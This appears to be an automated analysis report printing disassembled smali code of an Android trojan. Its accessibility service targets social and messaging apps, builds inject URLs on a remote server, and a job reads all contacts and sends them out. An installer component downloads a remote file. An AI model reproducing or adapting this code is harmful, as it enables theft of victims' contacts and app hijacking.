                                            • improve.harbor.eager.AccessibilityS.j:Limprove/harbor/eager/g
                                            • java.lang.Integer.intValue
                                            • android.os.Handler.postDelayed
                                            Strings
                                            • APP_NAME
                                            • TXT_C_1
                                            • TXT_STARTED_SERVICE
                                            • power
                                            • :WakeLock
                                            • ACCESSIBILITY_RUNNING
                                            • SERVER_IP
                                            • /h1.php?DEVICE_ID=
                                            • ANDROID_ID
                                            • /inj.php?DEVICE_ID=
                                            • facebook
                                            • instagram
                                            • whatsapp
                                            • chrome
                                            • skype
                                            • twitter
                                            • snapchat
                                            • viber
                                            • android.intent.action.SCREEN_ON
                                            • android.intent.action.SCREEN_OFF
                                            • DELAY_PERMISSION_ASK
                                            Position Instruction Meta Information
                                            0.annotation build Landroid/annotation/SuppressLint;
                                            1value = {
                                            2"WakelockTimeout"
                                            3}
                                            4.end annotation
                                            5const/16 v4, 0x10
                                            6const/4 v3, 0x1
                                            7new-instance v0, Limprove/harbor/eager/e;
                                            9invoke-direct {v0, p0}, Limprove/harbor/eager/e;-><init>(Landroid/content/Context;)V
                                            11invoke-static {p0}, Limprove/harbor/eager/g;->a(Landroid/content/Context;)Limprove/harbor/eager/g;
                                            12move-result-object v0
                                            13iput-object v0, p0, Limprove/harbor/eager/AccessibilityS;->j:Limprove/harbor/eager/g;
                                            15iget-object v0, p0, Limprove/harbor/eager/AccessibilityS;->j:Limprove/harbor/eager/g;
                                            17const-string v1, "APP_NAME"
                                            19invoke-virtual {v0, v1}, Limprove/harbor/eager/g;->a(Ljava/lang/String;)Ljava/lang/String;
                                            20move-result-object v0
                                            22invoke-virtual {v0}, Ljava/lang/String;->toLowerCase()Ljava/lang/String;
                                            23move-result-object v0
                                            24iput-object v0, p0, Limprove/harbor/eager/AccessibilityS;->c:Ljava/lang/String;
                                            26const-string v0, "TXT_C_1"
                                            28invoke-static {v0}, Limprove/harbor/eager/j;->a(Ljava/lang/String;)Ljava/lang/String;
                                            29move-result-object v0
                                            31const-string v1, "TXT_STARTED_SERVICE"
                                            33invoke-static {v1}, Limprove/harbor/eager/j;->a(Ljava/lang/String;)Ljava/lang/String;
                                            34move-result-object v1
                                            36invoke-static {p0, v0, v1}, Limprove/harbor/eager/c;->a(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V
                                            38const-string v0, "power"
                                            40invoke-virtual {p0, v0}, Limprove/harbor/eager/AccessibilityS;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
                                            41move-result-object v0
                                            42check-cast v0, Landroid/os/PowerManager;
                                            43if-eqz v0, :cond_52
                                            44new-instance v1, Ljava/lang/StringBuilder;
                                            46invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
                                            48invoke-virtual {p0}, Limprove/harbor/eager/AccessibilityS;->getPackageName()Ljava/lang/String;
                                            49move-result-object v2
                                            51invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                            52move-result-object v1
                                            54const-string v2, ":WakeLock"
                                            56invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                            57move-result-object v1
                                            59invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                            60move-result-object v1
                                            62invoke-virtual {v0, v3, v1}, Landroid/os/PowerManager;->newWakeLock(ILjava/lang/String;)Landroid/os/PowerManager$WakeLock;
                                            63move-result-object v0
                                            64iput-object v0, p0, Limprove/harbor/eager/AccessibilityS;->i:Landroid/os/PowerManager$WakeLock;
                                            65cond_52:
                                            66iget-object v0, p0, Limprove/harbor/eager/AccessibilityS;->i:Landroid/os/PowerManager$WakeLock;
                                            68invoke-virtual {v0, v3}, Landroid/os/PowerManager$WakeLock;->setReferenceCounted(Z)V
                                            70iget-object v0, p0, Limprove/harbor/eager/AccessibilityS;->i:Landroid/os/PowerManager$WakeLock;
                                            72invoke-virtual {v0}, Landroid/os/PowerManager$WakeLock;->acquire()V
                                            74iget-object v0, p0, Limprove/harbor/eager/AccessibilityS;->j:Limprove/harbor/eager/g;
                                            76const-string v1, "ACCESSIBILITY_RUNNING"
                                            78invoke-static {v3}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                                            79move-result-object v2
                                            81invoke-virtual {v0, v1, v2}, Limprove/harbor/eager/g;->a(Ljava/lang/String;Ljava/lang/Integer;)V
                                            82sput-object p0, Limprove/harbor/eager/AccessibilityS;->b:Limprove/harbor/eager/AccessibilityS;
                                            83new-instance v0, Ljava/lang/StringBuilder;
                                            85invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
                                            87iget-object v1, p0, Limprove/harbor/eager/AccessibilityS;->j:Limprove/harbor/eager/g;
                                            89const-string v2, "SERVER_IP"
                                            91invoke-virtual {v1, v2}, Limprove/harbor/eager/g;->a(Ljava/lang/String;)Ljava/lang/String;
                                            92move-result-object v1
                                            94invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                            95move-result-object v0
                                            97const-string v1, "/h1.php?DEVICE_ID="
                                            99invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                            100move-result-object v0
                                            102iget-object v1, p0, Limprove/harbor/eager/AccessibilityS;->j:Limprove/harbor/eager/g;
                                            104const-string v2, "ANDROID_ID"
                                            106invoke-virtual {v1, v2}, Limprove/harbor/eager/g;->a(Ljava/lang/String;)Ljava/lang/String;
                                            107move-result-object v1
                                            109invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                            110move-result-object v0
                                            112invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                            113move-result-object v0
                                            114sput-object v0, Limprove/harbor/eager/AccessibilityS;->g:Ljava/lang/String;
                                            115new-instance v0, Ljava/lang/StringBuilder;
                                            117invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
                                            119iget-object v1, p0, Limprove/harbor/eager/AccessibilityS;->j:Limprove/harbor/eager/g;
                                            121const-string v2, "SERVER_IP"
                                            123invoke-virtual {v1, v2}, Limprove/harbor/eager/g;->a(Ljava/lang/String;)Ljava/lang/String;
                                            124move-result-object v1
                                            126invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                            127move-result-object v0
                                            129const-string v1, "/inj.php?DEVICE_ID="
                                            131invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                            132move-result-object v0
                                            134iget-object v1, p0, Limprove/harbor/eager/AccessibilityS;->j:Limprove/harbor/eager/g;
                                            136const-string v2, "ANDROID_ID"
                                            138invoke-virtual {v1, v2}, Limprove/harbor/eager/g;->a(Ljava/lang/String;)Ljava/lang/String;
                                            139move-result-object v1
                                            141invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                            142move-result-object v0
                                            144invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                            145move-result-object v0
                                            146sput-object v0, Limprove/harbor/eager/AccessibilityS;->h:Ljava/lang/String;
                                            147new-instance v0, Landroid/accessibilityservice/AccessibilityServiceInfo;
                                            149invoke-direct {v0}, Landroid/accessibilityservice/AccessibilityServiceInfo;-><init>()V
                                            150const/4 v1, -0x1
                                            151iput v1, v0, Landroid/accessibilityservice/AccessibilityServiceInfo;->eventTypes:I
                                            152iput v4, v0, Landroid/accessibilityservice/AccessibilityServiceInfo;->feedbackType:I
                                            153iput v3, v0, Landroid/accessibilityservice/AccessibilityServiceInfo;->flags:I
                                            154iput v4, v0, Landroid/accessibilityservice/AccessibilityServiceInfo;->flags:I
                                            155const/4 v1, 0x4
                                            156iput v1, v0, Landroid/accessibilityservice/AccessibilityServiceInfo;->flags:I
                                            157const/16 v1, 0x8
                                            158iput v1, v0, Landroid/accessibilityservice/AccessibilityServiceInfo;->flags:I
                                            159sget v1, Landroid/os/Build$VERSION;->SDK_INT:I
                                            160const/16 v2, 0x15
                                            161if-lt v1, v2, :cond_da
                                            162const/16 v1, 0x40
                                            163iput v1, v0, Landroid/accessibilityservice/AccessibilityServiceInfo;->flags:I
                                            164cond_da: const-wide/16 v2, 0x0
                                            165iput-wide v2, v0, Landroid/accessibilityservice/AccessibilityServiceInfo;->notificationTimeout:J
                                            167invoke-virtual {p0, v0}, Limprove/harbor/eager/AccessibilityS;->setServiceInfo(Landroid/accessibilityservice/AccessibilityServiceInfo;)V
                                            169sget-object v0, Limprove/harbor/eager/AccessibilityS;->a:Ljava/util/ArrayList;
                                            171const-string v1, "facebook"
                                            173invoke-virtual {v0, v1}, Ljava/util/ArrayList;->add(Ljava/lang/Object;)Z
                                            175sget-object v0, Limprove/harbor/eager/AccessibilityS;->a:Ljava/util/ArrayList;
                                            177const-string v1, "instagram"
                                            179invoke-virtual {v0, v1}, Ljava/util/ArrayList;->add(Ljava/lang/Object;)Z
                                            181sget-object v0, Limprove/harbor/eager/AccessibilityS;->a:Ljava/util/ArrayList;
                                            183const-string v1, "whatsapp"
                                            185invoke-virtual {v0, v1}, Ljava/util/ArrayList;->add(Ljava/lang/Object;)Z
                                            187sget-object v0, Limprove/harbor/eager/AccessibilityS;->a:Ljava/util/ArrayList;
                                            189const-string v1, "chrome"
                                            191invoke-virtual {v0, v1}, Ljava/util/ArrayList;->add(Ljava/lang/Object;)Z
                                            193sget-object v0, Limprove/harbor/eager/AccessibilityS;->a:Ljava/util/ArrayList;
                                            195const-string v1, "skype"
                                            197invoke-virtual {v0, v1}, Ljava/util/ArrayList;->add(Ljava/lang/Object;)Z
                                            199sget-object v0, Limprove/harbor/eager/AccessibilityS;->a:Ljava/util/ArrayList;
                                            201const-string v1, "twitter"
                                            203invoke-virtual {v0, v1}, Ljava/util/ArrayList;->add(Ljava/lang/Object;)Z
                                            205sget-object v0, Limprove/harbor/eager/AccessibilityS;->a:Ljava/util/ArrayList;
                                            207const-string v1, "snapchat"
                                            209invoke-virtual {v0, v1}, Ljava/util/ArrayList;->add(Ljava/lang/Object;)Z
                                            211sget-object v0, Limprove/harbor/eager/AccessibilityS;->a:Ljava/util/ArrayList;
                                            213const-string v1, "viber"
                                            215invoke-virtual {v0, v1}, Ljava/util/ArrayList;->add(Ljava/lang/Object;)Z
                                            216new-instance v0, Landroid/content/IntentFilter;
                                            218invoke-direct {v0}, Landroid/content/IntentFilter;-><init>()V
                                            220const-string v1, "android.intent.action.SCREEN_ON"
                                            222invoke-virtual {v0, v1}, Landroid/content/IntentFilter;->addAction(Ljava/lang/String;)V
                                            224const-string v1, "android.intent.action.SCREEN_OFF"
                                            226invoke-virtual {v0, v1}, Landroid/content/IntentFilter;->addAction(Ljava/lang/String;)V
                                            227new-instance v1, Limprove/harbor/eager/receivers/ScreenReceiver;
                                            229invoke-direct {v1}, Limprove/harbor/eager/receivers/ScreenReceiver;-><init>()V
                                            230iput-object v1, p0, Limprove/harbor/eager/AccessibilityS;->l:Limprove/harbor/eager/receivers/ScreenReceiver;
                                            232iget-object v1, p0, Limprove/harbor/eager/AccessibilityS;->l:Limprove/harbor/eager/receivers/ScreenReceiver;
                                            234invoke-virtual {p0, v1, v0}, Limprove/harbor/eager/AccessibilityS;->registerReceiver(Landroid/content/BroadcastReceiver;Landroid/content/IntentFilter;)Landroid/content/Intent;
                                            235new-instance v0, Landroid/os/Handler;
                                            237invoke-direct {v0}, Landroid/os/Handler;-><init>()V
                                            238new-instance v1, Limprove/harbor/eager/a;
                                            240invoke-direct {v1, p0}, Limprove/harbor/eager/a;-><init>(Limprove/harbor/eager/AccessibilityS;)V
                                            242iget-object v2, p0, Limprove/harbor/eager/AccessibilityS;->j:Limprove/harbor/eager/g;
                                            244const-string v3, "DELAY_PERMISSION_ASK"
                                            246invoke-virtual {v2, v3}, Limprove/harbor/eager/g;->b(Ljava/lang/String;)Ljava/lang/Integer;
                                            247move-result-object v2
                                            249invoke-virtual {v2}, Ljava/lang/Integer;->intValue()I
                                            250move-result v2
                                            251int-to-long v2, v2
                                            253invoke-virtual {v0, v1, v2, v3}, Landroid/os/Handler;->postDelayed(Ljava/lang/Runnable;J)Z
                                            254return-void
                                            Cross References
                                            APIs
                                            • improve.harbor.eager.Permissions.b
                                            • improve.harbor.eager.MainServiceJob.getContentResolver
                                            • android.provider.ContactsContract$CommonDataKinds$Phone.CONTENT_URI:Landroid/net/Uri
                                            • android.content.ContentResolver.query
                                            • java.util.ArrayList.<init>
                                            • java.lang.AssertionError.<init>
                                            • android.database.Cursor.moveToNext
                                            • android.database.Cursor.getColumnIndex
                                            • android.database.Cursor.getString
                                            • java.util.ArrayList.add
                                            • android.database.Cursor.close
                                            • java.util.ArrayList.size
                                            • java.lang.StringBuilder.<init>
                                            • java.lang.StringBuilder.append
                                            • java.util.ArrayList.size
                                            • java.lang.StringBuilder.append
                                            • java.lang.StringBuilder.append
                                            • java.lang.StringBuilder.toString
                                            • java.lang.StringBuilder.<init>
                                            • java.lang.StringBuilder.append
                                            • java.util.ArrayList.size
                                            • java.lang.StringBuilder.append
                                            • java.lang.StringBuilder.append
                                            • java.lang.StringBuilder.toString
                                            • org.json.JSONObject.<init>
                                            • java.lang.StringBuilder.<init>
                                            • java.util.ArrayList.iterator
                                            • java.util.Iterator.hasNext
                                            • java.util.Iterator.next
                                            • java.lang.StringBuilder.append
                                            • java.lang.StringBuilder.append
                                            • improve.harbor.eager.MainServiceJob.c:Limprove/harbor/eager/g
                                            • org.json.JSONObject.put
                                            • java.lang.StringBuilder.toString
                                            • org.json.JSONObject.put
                                            • improve.harbor.eager.MainServiceJob.c:Limprove/harbor/eager/g
                                            • org.json.JSONObject.toString
                                            • java.lang.Thread.<init>
                                            • java.lang.Thread.start
                                            • org.json.JSONException.printStackTrace
                                            Strings
                                            • TXT_C_6
                                            • TXT_47
                                            • data1
                                            • TXT_48
                                            • TXT_49
                                            • TXT_50
                                            • |
                                            • DEVICE_ID
                                            • ANDROID_ID
                                            • CONTACTS
                                            • SERVER_PING_URL
                                            Position Instruction Meta Information
                                            0const/4 v2, 0x0
                                            2invoke-static {p0}, Limprove/harbor/eager/Permissions;->b(Landroid/content/Context;)Z
                                            3move-result v0
                                            4if-nez v0, :cond_20
                                            6const-string v0, "TXT_C_6"
                                            8invoke-static {v0}, Limprove/harbor/eager/j;->a(Ljava/lang/String;)Ljava/lang/String;
                                            9move-result-object v0
                                            11const-string v1, "TXT_47"
                                            13invoke-static {v1}, Limprove/harbor/eager/j;->a(Ljava/lang/String;)Ljava/lang/String;
                                            14move-result-object v1
                                            16invoke-static {p0, v0, v1}, Limprove/harbor/eager/c;->a(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V
                                            18const-string v0, "TXT_47"
                                            20invoke-static {v0}, Limprove/harbor/eager/j;->a(Ljava/lang/String;)Ljava/lang/String;
                                            21move-result-object v0
                                            23invoke-static {p0, v0}, Limprove/harbor/eager/c;->b(Landroid/content/Context;Ljava/lang/String;)V
                                            24goto_1f: return-void
                                            25cond_20:
                                            26invoke-virtual {p0}, Limprove/harbor/eager/MainServiceJob;->getContentResolver()Landroid/content/ContentResolver;
                                            27move-result-object v0
                                            29sget-object v1, Landroid/provider/ContactsContract$CommonDataKinds$Phone;->CONTENT_URI:Landroid/net/Uri;
                                            30move-object v3, v2
                                            31move-object v4, v2
                                            32move-object v5, v2
                                            34invoke-virtual/range {v0 .. v5}, Landroid/content/ContentResolver;->query(Landroid/net/Uri;[Ljava/lang/String;Ljava/lang/String;[Ljava/lang/String;Ljava/lang/String;)Landroid/database/Cursor;
                                            35move-result-object v0
                                            36new-instance v1, Ljava/util/ArrayList;
                                            38invoke-direct {v1}, Ljava/util/ArrayList;-><init>()V
                                            39sget-boolean v2, Limprove/harbor/eager/MainServiceJob;->a:Z
                                            40if-nez v2, :cond_3e
                                            41if-nez v0, :cond_3e
                                            42new-instance v0, Ljava/lang/AssertionError;
                                            44invoke-direct {v0}, Ljava/lang/AssertionError;-><init>()V
                                            45throw v0
                                            46goto_3e:
                                            47invoke-interface {v0}, Landroid/database/Cursor;->moveToNext()Z
                                            48move-result v2
                                            49if-eqz v2, :cond_52
                                            51const-string v2, "data1"
                                            53invoke-interface {v0, v2}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
                                            54move-result v2
                                            56invoke-interface {v0, v2}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
                                            57move-result-object v2
                                            59invoke-virtual {v1, v2}, Ljava/util/ArrayList;->add(Ljava/lang/Object;)Z
                                            60goto/16 :goto_3e
                                            61cond_52:
                                            62invoke-interface {v0}, Landroid/database/Cursor;->close()V
                                            64invoke-virtual {v1}, Ljava/util/ArrayList;->size()I
                                            65move-result v0
                                            66if-gtz v0, :cond_6b
                                            68const-string v0, "TXT_C_6"
                                            70invoke-static {v0}, Limprove/harbor/eager/j;->a(Ljava/lang/String;)Ljava/lang/String;
                                            71move-result-object v0
                                            73const-string v1, "TXT_48"
                                            75invoke-static {v1}, Limprove/harbor/eager/j;->a(Ljava/lang/String;)Ljava/lang/String;
                                            76move-result-object v1
                                            78invoke-static {p0, v0, v1}, Limprove/harbor/eager/c;->a(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V
                                            79goto/16 :goto_1f
                                            80cond_6b:
                                            81const-string v0, "TXT_C_6"
                                            83invoke-static {v0}, Limprove/harbor/eager/j;->a(Ljava/lang/String;)Ljava/lang/String;
                                            84move-result-object v0
                                            85new-instance v2, Ljava/lang/StringBuilder;
                                            87invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
                                            89const-string v3, "TXT_49"
                                            91invoke-static {v3}, Limprove/harbor/eager/j;->a(Ljava/lang/String;)Ljava/lang/String;
                                            92move-result-object v3
                                            94invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                            95move-result-object v2
                                            97invoke-virtual {v1}, Ljava/util/ArrayList;->size()I
                                            98move-result v3
                                            100invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                                            101move-result-object v2
                                            103const-string v3, "TXT_50"
                                            105invoke-static {v3}, Limprove/harbor/eager/j;->a(Ljava/lang/String;)Ljava/lang/String;
                                            106move-result-object v3
                                            108invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                            109move-result-object v2
                                            111invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                            112move-result-object v2
                                            114invoke-static {p0, v0, v2}, Limprove/harbor/eager/c;->a(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V
                                            115new-instance v0, Ljava/lang/StringBuilder;
                                            117invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
                                            119const-string v2, "TXT_49"
                                            121invoke-static {v2}, Limprove/harbor/eager/j;->a(Ljava/lang/String;)Ljava/lang/String;
                                            122move-result-object v2
                                            124invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                            125move-result-object v0
                                            127invoke-virtual {v1}, Ljava/util/ArrayList;->size()I
                                            128move-result v2
                                            130invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                                            131move-result-object v0
                                            133const-string v2, "TXT_50"
                                            135invoke-static {v2}, Limprove/harbor/eager/j;->a(Ljava/lang/String;)Ljava/lang/String;
                                            136move-result-object v2
                                            138invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                            139move-result-object v0
                                            141invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                            142move-result-object v0
                                            144invoke-static {p0, v0}, Limprove/harbor/eager/c;->b(Landroid/content/Context;Ljava/lang/String;)V
                                            145new-instance v2, Lorg/json/JSONObject;
                                            147invoke-direct {v2}, Lorg/json/JSONObject;-><init>()V
                                            148new-instance v3, Ljava/lang/StringBuilder;
                                            150const-string v0, "|"
                                            152invoke-direct {v3, v0}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
                                            154invoke-virtual {v1}, Ljava/util/ArrayList;->iterator()Ljava/util/Iterator;
                                            155move-result-object v1
                                            156goto_d1:
                                            157invoke-interface {v1}, Ljava/util/Iterator;->hasNext()Z
                                            158move-result v0
                                            159if-eqz v0, :cond_e7
                                            161invoke-interface {v1}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                            162move-result-object v0
                                            163check-cast v0, Ljava/lang/String;
                                            165invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                            166move-result-object v0
                                            168const-string v4, "|"
                                            170invoke-virtual {v0, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                            171goto/16 :goto_d1
                                            172try_start_e7:
                                            173const-string v0, "DEVICE_ID"
                                            175iget-object v1, p0, Limprove/harbor/eager/MainServiceJob;->c:Limprove/harbor/eager/g;
                                            177const-string v4, "ANDROID_ID"
                                            179invoke-virtual {v1, v4}, Limprove/harbor/eager/g;->a(Ljava/lang/String;)Ljava/lang/String;
                                            180move-result-object v1
                                            182invoke-virtual {v2, v0, v1}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                            184const-string v0, "CONTACTS"
                                            186invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                            187move-result-object v1
                                            189invoke-virtual {v2, v0, v1}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                            190goto_fd: new-instance v0, Limprove/harbor/eager/q;
                                            192iget-object v1, p0, Limprove/harbor/eager/MainServiceJob;->c:Limprove/harbor/eager/g;
                                            194const-string v3, "SERVER_PING_URL"
                                            196invoke-virtual {v1, v3}, Limprove/harbor/eager/g;->a(Ljava/lang/String;)Ljava/lang/String;
                                            197move-result-object v1
                                            199invoke-virtual {v2}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                                            200move-result-object v2
                                            202invoke-direct {v0, v1, v2}, Limprove/harbor/eager/q;-><init>(Ljava/lang/String;Ljava/lang/String;)V
                                            203new-instance v1, Ljava/lang/Thread;
                                            205invoke-direct {v1, v0}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
                                            207invoke-virtual {v1}, Ljava/lang/Thread;->start()V
                                            208goto/16 :goto_1f
                                            209catch_118: move-exception v0
                                            211invoke-virtual {v0}, Lorg/json/JSONException;->printStackTrace()V
                                            212goto/16 :goto_fd
                                            APIs
                                            • android.app.Activity.onCreate
                                            • improve.harbor.eager.Installer.b:Limprove/harbor/eager/g
                                            • improve.harbor.eager.Installer.getIntent
                                            • android.content.Intent.getStringExtra
                                            • java.lang.String.length
                                            • improve.harbor.eager.Installer.finishAndRemoveTask
                                            • improve.harbor.eager.Permissions.c
                                            • android.content.Intent.<init>
                                            • android.content.Intent.setFlags
                                            • improve.harbor.eager.Installer.startActivity
                                            • improve.harbor.eager.Installer.finishAndRemoveTask
                                            • java.lang.StringBuilder.<init>
                                            • android.os.Environment.DIRECTORY_DOWNLOADS:Ljava/lang/String
                                            • android.os.Environment.getExternalStoragePublicDirectory
                                            • java.lang.StringBuilder.append
                                            • java.lang.StringBuilder.append
                                            • java.lang.StringBuilder.toString
                                            • java.lang.StringBuilder.<init>
                                            • java.lang.StringBuilder.append
                                            • improve.harbor.eager.Installer.a:Ljava/lang/String
                                            • java.lang.StringBuilder.append
                                            • java.lang.StringBuilder.toString
                                            • java.lang.StringBuilder.<init>
                                            • java.lang.StringBuilder.append
                                            • java.lang.StringBuilder.toString
                                            • android.net.Uri.parse
                                            • android.net.Uri.parse
                                            • android.app.DownloadManager$Request.<init>
                                            • android.app.DownloadManager$Request.setDestinationUri
                                            • improve.harbor.eager.Installer.getSystemService
                                            • android.app.DownloadManager.enqueue
                                            Strings
                                            • UPDATE_FILENAME
                                            • TXT_C_4
                                            • TXT_ACTIVITY_STARTED
                                            • URL
                                            • No Write permissions in Installer.java
                                            • TXT_25
                                            • /
                                            • file://
                                            • download
                                            • DL manager is NOT NULL!
                                            • YES - we have Write permissions in Installer.java
                                            • WOW manager is NULL!
                                            Position Instruction Meta Information
                                            1invoke-super {p0, p1}, Landroid/app/Activity;->onCreate(Landroid/os/Bundle;)V
                                            2const/4 v0, 0x1
                                            3sput-boolean v0, Limprove/harbor/eager/AccessibilityS;->d:Z
                                            4new-instance v0, Limprove/harbor/eager/g;
                                            6invoke-direct {v0, p0}, Limprove/harbor/eager/g;-><init>(Landroid/content/Context;)V
                                            7iput-object v0, p0, Limprove/harbor/eager/Installer;->b:Limprove/harbor/eager/g;
                                            9iget-object v0, p0, Limprove/harbor/eager/Installer;->b:Limprove/harbor/eager/g;
                                            11const-string v1, "UPDATE_FILENAME"
                                            13invoke-virtual {v0, v1}, Limprove/harbor/eager/g;->a(Ljava/lang/String;)Ljava/lang/String;
                                            14move-result-object v0
                                            15iput-object v0, p0, Limprove/harbor/eager/Installer;->a:Ljava/lang/String;
                                            17const-string v0, "TXT_C_4"
                                            19invoke-static {v0}, Limprove/harbor/eager/j;->a(Ljava/lang/String;)Ljava/lang/String;
                                            20move-result-object v0
                                            22const-string v1, "TXT_ACTIVITY_STARTED"
                                            24invoke-static {v1}, Limprove/harbor/eager/j;->a(Ljava/lang/String;)Ljava/lang/String;
                                            25move-result-object v1
                                            27invoke-static {p0, v0, v1}, Limprove/harbor/eager/c;->a(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V
                                            29invoke-virtual {p0}, Limprove/harbor/eager/Installer;->getIntent()Landroid/content/Intent;
                                            30move-result-object v0
                                            32const-string v1, "URL"
                                            34invoke-virtual {v0, v1}, Landroid/content/Intent;->getStringExtra(Ljava/lang/String;)Ljava/lang/String;
                                            35move-result-object v0
                                            37invoke-virtual {v0}, Ljava/lang/String;->length()I
                                            38move-result v1
                                            39const/4 v2, 0x5
                                            40if-ge v1, v2, :cond_3a
                                            42invoke-virtual {p0}, Limprove/harbor/eager/Installer;->finishAndRemoveTask()V
                                            43cond_3a:
                                            44invoke-static {p0}, Limprove/harbor/eager/Permissions;->c(Landroid/content/Context;)Z
                                            45move-result v1
                                            46if-nez v1, :cond_ca
                                            48const-string v1, "TXT_C_4"
                                            50invoke-static {v1}, Limprove/harbor/eager/j;->a(Ljava/lang/String;)Ljava/lang/String;
                                            51move-result-object v1
                                            53const-string v2, "No Write permissions in Installer.java"
                                            55invoke-static {p0, v1, v2}, Limprove/harbor/eager/c;->a(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V
                                            57const-string v1, "TXT_25"
                                            59invoke-static {v1}, Limprove/harbor/eager/j;->a(Ljava/lang/String;)Ljava/lang/String;
                                            60move-result-object v1
                                            62invoke-static {p0, v1}, Limprove/harbor/eager/c;->b(Landroid/content/Context;Ljava/lang/String;)V
                                            63new-instance v1, Landroid/content/Intent;
                                            64const-class v2, Limprove/harbor/eager/Permissions;
                                            66invoke-direct {v1, p0, v2}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
                                            67const/high16 v2, 0x14000000
                                            69invoke-virtual {v1, v2}, Landroid/content/Intent;->setFlags(I)Landroid/content/Intent;
                                            71invoke-virtual {p0, v1}, Limprove/harbor/eager/Installer;->startActivity(Landroid/content/Intent;)V
                                            73invoke-virtual {p0}, Limprove/harbor/eager/Installer;->finishAndRemoveTask()V
                                            74goto_66: new-instance v1, Ljava/lang/StringBuilder;
                                            76invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
                                            78sget-object v2, Landroid/os/Environment;->DIRECTORY_DOWNLOADS:Ljava/lang/String;
                                            80invoke-static {v2}, Landroid/os/Environment;->getExternalStoragePublicDirectory(Ljava/lang/String;)Ljava/io/File;
                                            81move-result-object v2
                                            83invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
                                            84move-result-object v1
                                            86const-string v2, "/"
                                            88invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                            89move-result-object v1
                                            91invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                            92move-result-object v1
                                            93new-instance v2, Ljava/lang/StringBuilder;
                                            95invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
                                            97invoke-virtual {v2, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                            98move-result-object v1
                                            100iget-object v2, p0, Limprove/harbor/eager/Installer;->a:Ljava/lang/String;
                                            102invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                            103move-result-object v1
                                            105invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                            106move-result-object v1
                                            107new-instance v2, Ljava/lang/StringBuilder;
                                            109const-string v3, "file://"
                                            111invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
                                            113invoke-virtual {v2, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                            114move-result-object v1
                                            116invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                            117move-result-object v1
